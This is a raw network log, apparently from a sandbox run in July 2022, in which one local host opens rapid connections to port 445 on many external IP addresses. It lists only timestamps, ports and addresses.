Jul 21, 2022 04:37:41.559439898 CEST	60848	445	192.168.2.6	210.110.95.58
Jul 21, 2022 04:37:41.560100079 CEST	60849	445	192.168.2.6	222.61.60.53
Jul 21, 2022 04:37:41.566102028 CEST	60858	445	192.168.2.6	1.72.10.41
Jul 21, 2022 04:37:41.566747904 CEST	60859	445	192.168.2.6	184.242.157.161
Jul 21, 2022 04:37:41.568530083 CEST	60861	445	192.168.2.6	158.39.120.49
Jul 21, 2022 04:37:41.569509983 CEST	60862	445	192.168.2.6	105.65.121.230
Jul 21, 2022 04:37:41.573667049 CEST	60869	445	192.168.2.6	95.147.222.232
Jul 21, 2022 04:37:41.577240944 CEST	60874	445	192.168.2.6	92.66.19.137
Jul 21, 2022 04:37:41.578284025 CEST	60875	445	192.168.2.6	101.62.174.202
Jul 21, 2022 04:37:41.579241037 CEST	60876	445	192.168.2.6	25.118.212.40
Jul 21, 2022 04:37:41.582829952 CEST	60880	445	192.168.2.6	27.150.194.225
Jul 21, 2022 04:37:41.584676027 CEST	60882	445	192.168.2.6	171.214.24.86
Jul 21, 2022 04:37:41.591960907 CEST	445	60787	190.98.231.114	192.168.2.6
Jul 21, 2022 04:37:41.601937056 CEST	60885	445	192.168.2.6	58.126.36.90
Jul 21, 2022 04:37:41.610718012 CEST	60886	445	192.168.2.6	108.243.43.116
Jul 21, 2022 04:37:41.610979080 CEST	60889	445	192.168.2.6	4.210.162.202
Jul 21, 2022 04:37:41.611114025 CEST	60891	445	192.168.2.6	11.202.50.176
Jul 21, 2022 04:37:41.611134052 CEST	60890	445	192.168.2.6	198.119.162.236
Jul 21, 2022 04:37:41.669147015 CEST	60896	445	192.168.2.6	190.98.231.115
Jul 21, 2022 04:37:41.922271967 CEST	445	60896	190.98.231.115	192.168.2.6
Jul 21, 2022 04:37:42.011461973 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:42.153702974 CEST	60899	445	192.168.2.6	207.180.242.123
Jul 21, 2022 04:37:42.433332920 CEST	60896	445	192.168.2.6	190.98.231.115
Jul 21, 2022 04:37:42.528942108 CEST	60902	445	192.168.2.6	189.172.146.8
Jul 21, 2022 04:37:42.581579924 CEST	60913	445	192.168.2.6	81.228.234.19
Jul 21, 2022 04:37:42.623928070 CEST	60915	445	192.168.2.6	214.98.181.130
Jul 21, 2022 04:37:42.624586105 CEST	60916	445	192.168.2.6	112.63.12.89
Jul 21, 2022 04:37:42.625920057 CEST	60917	445	192.168.2.6	132.246.37.32
Jul 21, 2022 04:37:42.645597935 CEST	60926	445	192.168.2.6	117.221.214.89
Jul 21, 2022 04:37:42.647614956 CEST	60929	445	192.168.2.6	172.11.46.218
Jul 21, 2022 04:37:42.648050070 CEST	60930	445	192.168.2.6	86.175.199.82
Jul 21, 2022 04:37:42.681870937 CEST	445	60896	190.98.231.115	192.168.2.6
Jul 21, 2022 04:37:42.704031944 CEST	60942	445	192.168.2.6	198.44.169.13
Jul 21, 2022 04:37:42.704104900 CEST	60941	445	192.168.2.6	145.208.42.218
Jul 21, 2022 04:37:42.704834938 CEST	60951	445	192.168.2.6	54.15.253.5
Jul 21, 2022 04:37:42.704869032 CEST	60952	445	192.168.2.6	83.35.116.121
Jul 21, 2022 04:37:42.705147028 CEST	60959	445	192.168.2.6	157.159.1.150
Jul 21, 2022 04:37:42.705240011 CEST	60960	445	192.168.2.6	105.221.152.147
Jul 21, 2022 04:37:42.705259085 CEST	60962	445	192.168.2.6	191.211.70.130
Jul 21, 2022 04:37:42.705322027 CEST	60964	445	192.168.2.6	28.90.150.194
Jul 21, 2022 04:37:42.705638885 CEST	60973	445	192.168.2.6	16.233.76.13
Jul 21, 2022 04:37:42.705940008 CEST	60972	445	192.168.2.6	220.85.214.140
Jul 21, 2022 04:37:42.712527037 CEST	60983	445	192.168.2.6	208.162.250.229
Jul 21, 2022 04:37:42.712567091 CEST	60984	445	192.168.2.6	130.52.68.172
Jul 21, 2022 04:37:42.712578058 CEST	60985	445	192.168.2.6	93.252.253.218
Jul 21, 2022 04:37:42.712778091 CEST	60989	445	192.168.2.6	207.137.158.34
Jul 21, 2022 04:37:42.712806940 CEST	60991	445	192.168.2.6	97.240.126.191
Jul 21, 2022 04:37:42.716010094 CEST	60992	445	192.168.2.6	46.9.201.112
Jul 21, 2022 04:37:42.735013008 CEST	60995	445	192.168.2.6	190.98.231.116
Jul 21, 2022 04:37:42.749233961 CEST	60998	445	192.168.2.6	67.128.53.22
Jul 21, 2022 04:37:42.749349117 CEST	61001	445	192.168.2.6	176.8.13.206
Jul 21, 2022 04:37:42.749424934 CEST	61002	445	192.168.2.6	9.18.228.95
Jul 21, 2022 04:37:42.749533892 CEST	61005	445	192.168.2.6	6.4.5.42
Jul 21, 2022 04:37:42.975687981 CEST	445	60962	191.211.70.130	192.168.2.6
Jul 21, 2022 04:37:42.984217882 CEST	445	60995	190.98.231.116	192.168.2.6
Jul 21, 2022 04:37:43.215711117 CEST	61009	445	192.168.2.6	207.180.242.124
Jul 21, 2022 04:37:43.236397028 CEST	445	61009	207.180.242.124	192.168.2.6
Jul 21, 2022 04:37:43.480276108 CEST	60962	445	192.168.2.6	191.211.70.130
Jul 21, 2022 04:37:43.495908022 CEST	60995	445	192.168.2.6	190.98.231.116
Jul 21, 2022 04:37:43.607320070 CEST	61012	445	192.168.2.6	189.172.146.9
Jul 21, 2022 04:37:43.720592022 CEST	61019	445	192.168.2.6	7.179.46.34
Jul 21, 2022 04:37:43.733680010 CEST	61028	445	192.168.2.6	195.189.35.82
Jul 21, 2022 04:37:43.733784914 CEST	61029	445	192.168.2.6	98.118.107.180
Jul 21, 2022 04:37:43.733812094 CEST	61027	445	192.168.2.6	124.24.44.235
Jul 21, 2022 04:37:43.745363951 CEST	445	60995	190.98.231.116	192.168.2.6
Jul 21, 2022 04:37:43.745976925 CEST	61009	445	192.168.2.6	207.180.242.124
Jul 21, 2022 04:37:43.754730940 CEST	61035	445	192.168.2.6	203.17.23.3
Jul 21, 2022 04:37:43.754878044 CEST	61038	445	192.168.2.6	190.2.253.1
Jul 21, 2022 04:37:43.754992962 CEST	61040	445	192.168.2.6	188.191.223.238
Jul 21, 2022 04:37:43.763688087 CEST	445	60962	191.211.70.130	192.168.2.6
Jul 21, 2022 04:37:43.767357111 CEST	445	61009	207.180.242.124	192.168.2.6
Jul 21, 2022 04:37:43.795819044 CEST	61043	445	192.168.2.6	190.98.231.117
Jul 21, 2022 04:37:43.827055931 CEST	61046	445	192.168.2.6	151.188.51.125
Jul 21, 2022 04:37:43.859040976 CEST	61053	445	192.168.2.6	12.100.135.125
Jul 21, 2022 04:37:43.859261036 CEST	61055	445	192.168.2.6	194.241.155.80
Jul 21, 2022 04:37:43.859898090 CEST	61064	445	192.168.2.6	220.111.234.95
Jul 21, 2022 04:37:43.860080957 CEST	61065	445	192.168.2.6	95.213.98.38
Jul 21, 2022 04:37:43.860502958 CEST	61071	445	192.168.2.6	39.93.152.196
Jul 21, 2022 04:37:43.860568047 CEST	61074	445	192.168.2.6	94.213.57.225
Jul 21, 2022 04:37:43.860618114 CEST	61075	445	192.168.2.6	48.40.152.180
Jul 21, 2022 04:37:43.860728025 CEST	61077	445	192.168.2.6	147.214.249.235
Jul 21, 2022 04:37:43.861112118 CEST	61085	445	192.168.2.6	172.4.8.227
Jul 21, 2022 04:37:43.861267090 CEST	61088	445	192.168.2.6	28.220.118.121
Jul 21, 2022 04:37:43.861639977 CEST	61096	445	192.168.2.6	62.41.100.188
Jul 21, 2022 04:37:43.862246037 CEST	61097	445	192.168.2.6	179.51.32.155
Jul 21, 2022 04:37:43.862339973 CEST	61098	445	192.168.2.6	12.103.205.6
Jul 21, 2022 04:37:43.862601042 CEST	61103	445	192.168.2.6	81.50.237.248
Jul 21, 2022 04:37:43.862783909 CEST	61105	445	192.168.2.6	220.16.218.27
Jul 21, 2022 04:37:43.872203112 CEST	61108	445	192.168.2.6	60.90.207.32
Jul 21, 2022 04:37:43.872340918 CEST	61111	445	192.168.2.6	201.57.38.30
Jul 21, 2022 04:37:43.872396946 CEST	61112	445	192.168.2.6	126.176.27.103
Jul 21, 2022 04:37:43.872539043 CEST	61115	445	192.168.2.6	139.25.224.179
Jul 21, 2022 04:37:44.021874905 CEST	445	61043	190.98.231.117	192.168.2.6
Jul 21, 2022 04:37:44.105386972 CEST	60181	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:44.176645041 CEST	445	61108	60.90.207.32	192.168.2.6
Jul 21, 2022 04:37:44.277936935 CEST	61119	445	192.168.2.6	207.180.242.125
Jul 21, 2022 04:37:44.527241945 CEST	61043	445	192.168.2.6	190.98.231.117
Jul 21, 2022 04:37:44.683487892 CEST	61108	445	192.168.2.6	60.90.207.32
Jul 21, 2022 04:37:44.684403896 CEST	61122	445	192.168.2.6	189.172.146.10
Jul 21, 2022 04:37:44.754211903 CEST	445	61043	190.98.231.117	192.168.2.6
Jul 21, 2022 04:37:44.846355915 CEST	61132	445	192.168.2.6	9.74.176.123
Jul 21, 2022 04:37:44.858772993 CEST	61136	445	192.168.2.6	130.243.188.200
Jul 21, 2022 04:37:44.859462023 CEST	61137	445	192.168.2.6	215.113.44.209
Jul 21, 2022 04:37:44.872840881 CEST	61140	445	192.168.2.6	34.76.39.104
Jul 21, 2022 04:37:44.875232935 CEST	61145	445	192.168.2.6	34.169.229.5
Jul 21, 2022 04:37:44.883646965 CEST	61148	445	192.168.2.6	156.209.62.148
Jul 21, 2022 04:37:44.883723021 CEST	61150	445	192.168.2.6	142.193.209.20
Jul 21, 2022 04:37:44.883841991 CEST	61153	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:44.952871084 CEST	61156	445	192.168.2.6	155.5.51.199
Jul 21, 2022 04:37:44.967242002 CEST	61165	445	192.168.2.6	71.63.251.191
Jul 21, 2022 04:37:44.971613884 CEST	61174	445	192.168.2.6	45.40.159.217
Jul 21, 2022 04:37:44.972048998 CEST	61175	445	192.168.2.6	19.45.215.4
Jul 21, 2022 04:37:44.974733114 CEST	61181	445	192.168.2.6	221.75.96.210
Jul 21, 2022 04:37:44.976300001 CEST	61184	445	192.168.2.6	128.24.41.2
Jul 21, 2022 04:37:44.976780891 CEST	61185	445	192.168.2.6	202.169.224.123
Jul 21, 2022 04:37:44.977715015 CEST	61187	445	192.168.2.6	213.122.172.138
Jul 21, 2022 04:37:44.986140966 CEST	61195	445	192.168.2.6	75.109.125.209
Jul 21, 2022 04:37:44.987637043 CEST	445	61108	60.90.207.32	192.168.2.6
Jul 21, 2022 04:37:44.988193989 CEST	61198	445	192.168.2.6	177.181.136.32
Jul 21, 2022 04:37:44.993632078 CEST	61206	445	192.168.2.6	208.227.74.210
Jul 21, 2022 04:37:44.994154930 CEST	61207	445	192.168.2.6	31.148.79.213
Jul 21, 2022 04:37:44.994652987 CEST	61208	445	192.168.2.6	36.173.90.224
Jul 21, 2022 04:37:44.998056889 CEST	61213	445	192.168.2.6	74.145.117.221
Jul 21, 2022 04:37:44.999479055 CEST	61215	445	192.168.2.6	48.21.164.104
Jul 21, 2022 04:37:45.009305000 CEST	61217	445	192.168.2.6	51.14.29.86
Jul 21, 2022 04:37:45.010143995 CEST	61218	445	192.168.2.6	111.153.66.234
Jul 21, 2022 04:37:45.011651039 CEST	61221	445	192.168.2.6	193.135.241.35
Jul 21, 2022 04:37:45.015708923 CEST	61224	445	192.168.2.6	4.216.168.209
Jul 21, 2022 04:37:45.133322954 CEST	445	61153	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.133461952 CEST	61153	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.133666039 CEST	61153	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.140677929 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.356724977 CEST	61231	445	192.168.2.6	207.180.242.126
Jul 21, 2022 04:37:45.363435984 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.363534927 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.363749981 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.380078077 CEST	445	61231	207.180.242.126	192.168.2.6
Jul 21, 2022 04:37:45.381948948 CEST	445	61153	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.381975889 CEST	445	61153	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.585061073 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.585246086 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.762537003 CEST	61233	445	192.168.2.6	189.172.146.11
Jul 21, 2022 04:37:45.810506105 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:45.810797930 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:45.886801958 CEST	61231	445	192.168.2.6	207.180.242.126
Jul 21, 2022 04:37:45.911828041 CEST	445	61231	207.180.242.126	192.168.2.6
Jul 21, 2022 04:37:45.982299089 CEST	61244	445	192.168.2.6	97.219.76.6
Jul 21, 2022 04:37:45.984781981 CEST	61248	445	192.168.2.6	128.71.251.184
Jul 21, 2022 04:37:45.984823942 CEST	61250	445	192.168.2.6	169.157.238.216
Jul 21, 2022 04:37:46.009795904 CEST	61252	445	192.168.2.6	54.222.178.222
Jul 21, 2022 04:37:46.010083914 CEST	61256	445	192.168.2.6	169.198.114.57
Jul 21, 2022 04:37:46.010154009 CEST	61259	445	192.168.2.6	131.19.108.101
Jul 21, 2022 04:37:46.010246992 CEST	61260	445	192.168.2.6	142.83.166.215
Jul 21, 2022 04:37:46.036643982 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:46.036951065 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:46.109395027 CEST	61269	445	192.168.2.6	120.136.25.213
Jul 21, 2022 04:37:46.109462023 CEST	61271	445	192.168.2.6	44.51.194.183
Jul 21, 2022 04:37:46.109591961 CEST	61274	445	192.168.2.6	105.229.46.52
Jul 21, 2022 04:37:46.110168934 CEST	61272	445	192.168.2.6	30.196.240.224
Jul 21, 2022 04:37:46.111150980 CEST	61281	445	192.168.2.6	50.104.15.250
Jul 21, 2022 04:37:46.111176968 CEST	61282	445	192.168.2.6	137.212.249.146
Jul 21, 2022 04:37:46.111484051 CEST	61291	445	192.168.2.6	81.145.66.186
Jul 21, 2022 04:37:46.111690044 CEST	61294	445	192.168.2.6	84.89.190.223
Jul 21, 2022 04:37:46.111717939 CEST	61299	445	192.168.2.6	177.10.180.27
Jul 21, 2022 04:37:46.125484943 CEST	61304	445	192.168.2.6	26.86.142.24
Jul 21, 2022 04:37:46.125571012 CEST	61308	445	192.168.2.6	163.55.223.229
Jul 21, 2022 04:37:46.125679970 CEST	61307	445	192.168.2.6	48.222.93.184
Jul 21, 2022 04:37:46.125725031 CEST	61310	445	192.168.2.6	87.138.87.14
Jul 21, 2022 04:37:46.125869036 CEST	61316	445	192.168.2.6	25.21.183.31
Jul 21, 2022 04:37:46.125927925 CEST	61318	445	192.168.2.6	55.74.62.118
Jul 21, 2022 04:37:46.126336098 CEST	61327	445	192.168.2.6	88.61.28.182
Jul 21, 2022 04:37:46.126343012 CEST	61328	445	192.168.2.6	45.77.244.81
Jul 21, 2022 04:37:46.126405954 CEST	61329	445	192.168.2.6	44.74.180.228
Jul 21, 2022 04:37:46.130388021 CEST	61333	445	192.168.2.6	174.152.170.120
Jul 21, 2022 04:37:46.130486012 CEST	61336	445	192.168.2.6	148.160.162.5
Jul 21, 2022 04:37:46.267925024 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:46.268188000 CEST	61228	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:46.324271917 CEST	60116	445	192.168.2.6	184.95.127.81
Jul 21, 2022 04:37:46.436712980 CEST	61339	445	192.168.2.6	207.180.242.127
Jul 21, 2022 04:37:46.459950924 CEST	445	61339	207.180.242.127	192.168.2.6
Jul 21, 2022 04:37:46.490715981 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:46.490740061 CEST	445	61228	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:46.809063911 CEST	60141	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:46.824848890 CEST	60183	445	192.168.2.6	77.129.24.3
Jul 21, 2022 04:37:46.949354887 CEST	60140	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:46.962829113 CEST	61343	445	192.168.2.6	189.172.146.12
Jul 21, 2022 04:37:46.964975119 CEST	61339	445	192.168.2.6	207.180.242.127
Jul 21, 2022 04:37:46.989819050 CEST	445	61339	207.180.242.127	192.168.2.6
Jul 21, 2022 04:37:47.333199024 CEST	61356	445	192.168.2.6	181.210.253.8
Jul 21, 2022 04:37:47.335743904 CEST	61358	445	192.168.2.6	137.56.129.159
Jul 21, 2022 04:37:47.338936090 CEST	61361	445	192.168.2.6	186.20.169.185
Jul 21, 2022 04:37:47.339746952 CEST	61362	445	192.168.2.6	174.178.186.26
Jul 21, 2022 04:37:47.347706079 CEST	61368	445	192.168.2.6	221.146.160.215
Jul 21, 2022 04:37:47.348594904 CEST	61369	445	192.168.2.6	77.218.146.100
Jul 21, 2022 04:37:47.349427938 CEST	61370	445	192.168.2.6	129.225.219.15
Jul 21, 2022 04:37:47.633591890 CEST	61378	445	192.168.2.6	87.33.50.66
Jul 21, 2022 04:37:47.634177923 CEST	61387	445	192.168.2.6	14.229.3.226
Jul 21, 2022 04:37:47.634367943 CEST	61389	445	192.168.2.6	155.155.225.229
Jul 21, 2022 04:37:47.635102034 CEST	61398	445	192.168.2.6	28.206.58.35
Jul 21, 2022 04:37:47.635368109 CEST	61401	445	192.168.2.6	218.191.171.153
Jul 21, 2022 04:37:47.635546923 CEST	61403	445	192.168.2.6	154.88.107.116
Jul 21, 2022 04:37:47.635730028 CEST	61405	445	192.168.2.6	60.166.228.131
Jul 21, 2022 04:37:47.636145115 CEST	61410	445	192.168.2.6	136.179.170.236
Jul 21, 2022 04:37:47.636327982 CEST	61411	445	192.168.2.6	43.27.95.27
Jul 21, 2022 04:37:47.636821985 CEST	61418	445	192.168.2.6	7.84.110.124
Jul 21, 2022 04:37:47.638216019 CEST	61419	445	192.168.2.6	143.23.220.74
Jul 21, 2022 04:37:47.639174938 CEST	61420	445	192.168.2.6	209.20.200.138
Jul 21, 2022 04:37:47.639365911 CEST	61422	445	192.168.2.6	92.203.121.235
Jul 21, 2022 04:37:47.640099049 CEST	61431	445	192.168.2.6	99.22.165.33
Jul 21, 2022 04:37:47.640104055 CEST	61432	445	192.168.2.6	174.150.151.166
Jul 21, 2022 04:37:47.640217066 CEST	61433	445	192.168.2.6	182.254.189.138
Jul 21, 2022 04:37:47.640326023 CEST	61434	445	192.168.2.6	164.111.37.139
Jul 21, 2022 04:37:47.640638113 CEST	61439	445	192.168.2.6	4.90.29.35
Jul 21, 2022 04:37:47.640800953 CEST	61441	445	192.168.2.6	135.177.174.8
Jul 21, 2022 04:37:47.640925884 CEST	61442	445	192.168.2.6	179.70.122.62
Jul 21, 2022 04:37:47.660649061 CEST	61449	445	192.168.2.6	207.180.242.128
Jul 21, 2022 04:37:48.057456017 CEST	61454	445	192.168.2.6	189.172.146.13
Jul 21, 2022 04:37:49.028928041 CEST	61456	445	192.168.2.6	207.180.242.129
Jul 21, 2022 04:37:49.044373035 CEST	61457	445	192.168.2.6	166.50.115.9
Jul 21, 2022 04:37:49.045197964 CEST	61458	445	192.168.2.6	76.145.132.228
Jul 21, 2022 04:37:49.045870066 CEST	61459	445	192.168.2.6	209.147.245.28
Jul 21, 2022 04:37:49.048882961 CEST	61464	445	192.168.2.6	128.204.188.103
Jul 21, 2022 04:37:49.049952984 CEST	445	61456	207.180.242.129	192.168.2.6
Jul 21, 2022 04:37:49.050220013 CEST	61466	445	192.168.2.6	69.186.66.243
Jul 21, 2022 04:37:49.050889969 CEST	61467	445	192.168.2.6	13.139.53.12
Jul 21, 2022 04:37:49.055643082 CEST	61475	445	192.168.2.6	215.80.16.201
Jul 21, 2022 04:37:49.068387985 CEST	61484	445	192.168.2.6	33.20.103.155
Jul 21, 2022 04:37:49.197886944 CEST	61493	445	192.168.2.6	8.220.197.143
Jul 21, 2022 04:37:49.198138952 CEST	61494	445	192.168.2.6	113.158.89.203
Jul 21, 2022 04:37:49.198196888 CEST	61495	445	192.168.2.6	11.210.173.109
Jul 21, 2022 04:37:49.198523998 CEST	61500	445	192.168.2.6	15.137.35.101
Jul 21, 2022 04:37:49.198612928 CEST	61501	445	192.168.2.6	98.75.97.70
Jul 21, 2022 04:37:49.198770046 CEST	61504	445	192.168.2.6	185.130.119.45
Jul 21, 2022 04:37:49.198932886 CEST	61506	445	192.168.2.6	194.63.57.86
Jul 21, 2022 04:37:49.265160084 CEST	61518	445	192.168.2.6	189.200.172.33
Jul 21, 2022 04:37:49.265343904 CEST	61519	445	192.168.2.6	146.84.217.241
Jul 21, 2022 04:37:49.265845060 CEST	61521	445	192.168.2.6	140.201.74.95
Jul 21, 2022 04:37:49.266874075 CEST	61530	445	192.168.2.6	178.154.184.15
Jul 21, 2022 04:37:49.267123938 CEST	61534	445	192.168.2.6	70.169.205.116
Jul 21, 2022 04:37:49.267616987 CEST	61543	445	192.168.2.6	10.219.202.117
Jul 21, 2022 04:37:49.267818928 CEST	61546	445	192.168.2.6	205.54.55.184
Jul 21, 2022 04:37:49.267966986 CEST	61548	445	192.168.2.6	173.204.121.179
Jul 21, 2022 04:37:49.268148899 CEST	61550	445	192.168.2.6	43.0.38.115
Jul 21, 2022 04:37:49.268413067 CEST	61555	445	192.168.2.6	207.36.147.188
Jul 21, 2022 04:37:49.268512011 CEST	61556	445	192.168.2.6	78.196.95.69
Jul 21, 2022 04:37:49.268888950 CEST	61563	445	192.168.2.6	203.181.201.158
Jul 21, 2022 04:37:49.270644903 CEST	61564	445	192.168.2.6	189.172.146.14
Jul 21, 2022 04:37:49.285352945 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:49.536024094 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:49.536309958 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:49.536451101 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:49.602915049 CEST	61456	445	192.168.2.6	207.180.242.129
Jul 21, 2022 04:37:49.625876904 CEST	445	61456	207.180.242.129	192.168.2.6
Jul 21, 2022 04:37:49.785149097 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:49.933998108 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:50.230896950 CEST	61456	445	192.168.2.6	207.180.242.129
Jul 21, 2022 04:37:50.251748085 CEST	445	61456	207.180.242.129	192.168.2.6
Jul 21, 2022 04:37:51.238951921 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:51.244431973 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:51.294325113 CEST	61568	445	192.168.2.6	189.172.146.15
Jul 21, 2022 04:37:51.294487953 CEST	61569	445	192.168.2.6	207.180.242.130
Jul 21, 2022 04:37:51.357220888 CEST	61573	445	192.168.2.6	17.158.133.101
Jul 21, 2022 04:37:51.357727051 CEST	61576	445	192.168.2.6	137.175.189.126
Jul 21, 2022 04:37:51.358129025 CEST	61578	445	192.168.2.6	13.197.205.97
Jul 21, 2022 04:37:51.358478069 CEST	61580	445	192.168.2.6	138.82.164.29
Jul 21, 2022 04:37:51.359191895 CEST	61585	445	192.168.2.6	92.37.254.49
Jul 21, 2022 04:37:51.359361887 CEST	61586	445	192.168.2.6	111.89.37.181
Jul 21, 2022 04:37:51.360328913 CEST	61593	445	192.168.2.6	171.195.24.30
Jul 21, 2022 04:37:51.361602068 CEST	61602	445	192.168.2.6	102.30.126.106
Jul 21, 2022 04:37:51.362210035 CEST	61606	445	192.168.2.6	8.149.76.34
Jul 21, 2022 04:37:51.362395048 CEST	61607	445	192.168.2.6	101.124.253.83
Jul 21, 2022 04:37:51.362569094 CEST	61608	445	192.168.2.6	99.249.114.63
Jul 21, 2022 04:37:51.363311052 CEST	61613	445	192.168.2.6	189.54.51.81
Jul 21, 2022 04:37:51.363646984 CEST	61615	445	192.168.2.6	65.189.29.5
Jul 21, 2022 04:37:51.363827944 CEST	61616	445	192.168.2.6	88.251.179.25
Jul 21, 2022 04:37:51.365194082 CEST	61623	445	192.168.2.6	75.161.111.112
Jul 21, 2022 04:37:51.366548061 CEST	61632	445	192.168.2.6	122.252.189.40
Jul 21, 2022 04:37:51.366709948 CEST	61633	445	192.168.2.6	118.245.171.24
Jul 21, 2022 04:37:51.366885900 CEST	61634	445	192.168.2.6	187.182.108.121
Jul 21, 2022 04:37:51.367609978 CEST	61639	445	192.168.2.6	179.62.36.196
Jul 21, 2022 04:37:51.367778063 CEST	61640	445	192.168.2.6	134.108.136.224
Jul 21, 2022 04:37:51.368221998 CEST	61643	445	192.168.2.6	117.56.38.189
Jul 21, 2022 04:37:51.368557930 CEST	61645	445	192.168.2.6	82.135.120.227
Jul 21, 2022 04:37:51.370249987 CEST	61657	445	192.168.2.6	59.237.77.140
Jul 21, 2022 04:37:51.370412111 CEST	61658	445	192.168.2.6	31.135.166.117
Jul 21, 2022 04:37:51.370747089 CEST	61660	445	192.168.2.6	70.189.39.121
Jul 21, 2022 04:37:51.372320890 CEST	61669	445	192.168.2.6	183.34.189.139
Jul 21, 2022 04:37:51.372741938 CEST	61673	445	192.168.2.6	67.212.170.123
Jul 21, 2022 04:37:51.373940945 CEST	445	61567	184.95.127.1	192.168.2.6
Jul 21, 2022 04:37:51.374052048 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:51.489434958 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:51.740890980 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:51.865519047 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:51.994508982 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:51.994707108 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:52.245376110 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:52.245522022 CEST	61566	445	192.168.2.6	190.98.231.118
Jul 21, 2022 04:37:52.271848917 CEST	61567	445	192.168.2.6	184.95.127.1
Jul 21, 2022 04:37:52.304245949 CEST	61680	445	192.168.2.6	190.98.231.119
Jul 21, 2022 04:37:52.369051933 CEST	61681	445	192.168.2.6	207.180.242.131
Jul 21, 2022 04:37:52.369153976 CEST	61682	445	192.168.2.6	189.172.146.16
Jul 21, 2022 04:37:52.394139051 CEST	445	61681	207.180.242.131	192.168.2.6
Jul 21, 2022 04:37:52.476061106 CEST	61687	445	192.168.2.6	205.124.144.227
Jul 21, 2022 04:37:52.476269007 CEST	61690	445	192.168.2.6	44.145.0.104
Jul 21, 2022 04:37:52.476387978 CEST	61691	445	192.168.2.6	159.82.83.234
Jul 21, 2022 04:37:52.476843119 CEST	61695	445	192.168.2.6	12.231.230.165
Jul 21, 2022 04:37:52.477145910 CEST	61699	445	192.168.2.6	37.207.121.41
Jul 21, 2022 04:37:52.477720022 CEST	61707	445	192.168.2.6	126.155.28.130
Jul 21, 2022 04:37:52.478286982 CEST	61715	445	192.168.2.6	91.65.200.16
Jul 21, 2022 04:37:52.478311062 CEST	61716	445	192.168.2.6	138.254.80.37
Jul 21, 2022 04:37:52.478444099 CEST	61717	445	192.168.2.6	65.103.198.165
Jul 21, 2022 04:37:52.478805065 CEST	61722	445	192.168.2.6	107.232.44.163
Jul 21, 2022 04:37:52.478889942 CEST	61723	445	192.168.2.6	7.79.243.196
Jul 21, 2022 04:37:52.479195118 CEST	61726	445	192.168.2.6	150.20.149.103
Jul 21, 2022 04:37:52.479371071 CEST	61698	445	192.168.2.6	29.85.59.7
Jul 21, 2022 04:37:52.479465961 CEST	61729	445	192.168.2.6	211.83.178.240
Jul 21, 2022 04:37:52.480107069 CEST	61740	445	192.168.2.6	126.161.65.13
Jul 21, 2022 04:37:52.480245113 CEST	61741	445	192.168.2.6	40.96.108.35
Jul 21, 2022 04:37:52.480865002 CEST	61743	445	192.168.2.6	54.200.148.102
Jul 21, 2022 04:37:52.480926037 CEST	61749	445	192.168.2.6	17.157.207.203
Jul 21, 2022 04:37:52.481709957 CEST	61760	445	192.168.2.6	67.103.100.188
Jul 21, 2022 04:37:52.482176065 CEST	61767	445	192.168.2.6	28.249.23.209
Jul 21, 2022 04:37:52.482364893 CEST	61769	445	192.168.2.6	172.229.104.180
Jul 21, 2022 04:37:52.482415915 CEST	61753	445	192.168.2.6	84.59.80.239
Jul 21, 2022 04:37:52.482448101 CEST	61765	445	192.168.2.6	121.203.12.61
Jul 21, 2022 04:37:52.482606888 CEST	61772	445	192.168.2.6	89.236.66.60
Jul 21, 2022 04:37:52.482948065 CEST	61774	445	192.168.2.6	120.125.81.73
Jul 21, 2022 04:37:52.491076946 CEST	61780	445	192.168.2.6	220.254.73.224
Jul 21, 2022 04:37:52.491450071 CEST	61783	445	192.168.2.6	134.253.248.171
Jul 21, 2022 04:37:52.495160103 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:52.495187044 CEST	445	61566	190.98.231.118	192.168.2.6
Jul 21, 2022 04:37:52.529449940 CEST	445	61680	190.98.231.119	192.168.2.6
Jul 21, 2022 04:37:52.810666084 CEST	445	61602	102.30.126.106	192.168.2.6
